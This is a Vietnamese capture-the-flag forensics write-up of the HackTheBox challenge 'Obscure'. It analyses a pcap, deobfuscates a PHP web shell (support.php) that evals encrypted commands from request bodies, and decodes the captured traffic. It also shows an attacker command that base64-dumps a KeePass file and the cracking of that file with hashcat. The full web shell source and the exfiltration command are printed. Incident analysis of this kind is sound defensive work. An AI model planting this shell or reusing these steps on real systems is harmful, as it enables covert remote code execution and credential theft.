---
# System prepended metadata

title: 'HTB: Obscure'

---

# HTB: Obscure
Xem trong pcap thấy có web được xây dựng bằng php có tính năng upload file php tuỳ ý. (file: support.php)

![](https://hackmd.io/_uploads/BJNqeCqkT.png)

Nội dung file support.php: Nội dung file bị obfuscate bằng cách chèn thêm  "u)"

```
<?php
$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($';
$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';
$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';
$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}';
$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');
$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';
$u=str_replace('u)','',$V.$d.$P.$c.$B);
$x=$N('',$u);$x();
?>
```

Nội dung file sau khi đã được loại bỏ  "u)"
```
<?php
$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
    $o=@ob_get_contents();
    @ob_end_clean();
    $r=@base64_encode(@x(@gzcompress($o),$k));
    print("$p$kh$r$kf");
}
?>
```
Sau khi đã loại bỏ "u)" và xem một số gói TCP Stream nhận thấy kết quả mã hoá được bắt đầu bằng `$p$kh` và kết thúc bằng `$kf`.   
> VD: 0UlYyJHG87EJqEz66f8af44abea0~~QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy~~351039f4a7b5

Viết lại hàm xử lý của file support.php
```
<?php
$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
	for($j=0;($j<$c&&$i<$l);$j++,$i++){
		$o.=$t{$i}^$k{$j};
		}
	}
	return $o;
}
$input ="QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy";
$base64 = base64_decode($input);
$xor = x($base64,$k);
$r=gzuncompress($xor);
echo " ".$r;
?>
```

Ở gói TCP Stream 23: thấy có file pwdb.kdbx thuộc thư mục developer được sửa đổi lần cuối vào 20:37 21/05.
![](https://hackmd.io/_uploads/SJGsDA5y6.png)

Ở gói TCP Stream 25:
![](https://hackmd.io/_uploads/rk5s5A9ya.png)

Có:
+  `chdir('/home/developer')`: Đổi thư mục làm việc hiện tại thành "/home/developer".
+ `@error_reporting(0)`:Tắt báo cáo lỗi để không hiển thị thông báo lỗi.
+ `@system('base64 -w 0 pwdb.kdbx 2>&1')`:Mã hóa tệp pwdb.kdbx dưới dạng Base64 và hiển thị kết quả ra màn hình hoặc trả về, bao gồm cả thông báo lỗi nếu có.

Nội dung file New.txt

![](https://hackmd.io/_uploads/BkHBhR51a.png)
![](https://hackmd.io/_uploads/SJiT3R916.png)

Theo như TCP Stream 25 thì dữ liệu sau khi base64 sẽ được lưu vào file pwdb.kdbx

![](https://hackmd.io/_uploads/HJ9zyks1p.png)

Chuyển đổi file pwdb.kdbx từ dạng KeePass về dạng file .txt sử dụng keepass2john

![](https://hackmd.io/_uploads/HkDR1yiya.png)

Sử dụng hashcat để brute force password, mã băm của KeePass 2 là 13400

![](https://hackmd.io/_uploads/rkATeysyp.png)

Mật khẩu: **`chainsaw`**

![](https://hackmd.io/_uploads/Hk9ZGyjya.png)
![](https://hackmd.io/_uploads/Hyv8Gyska.png)


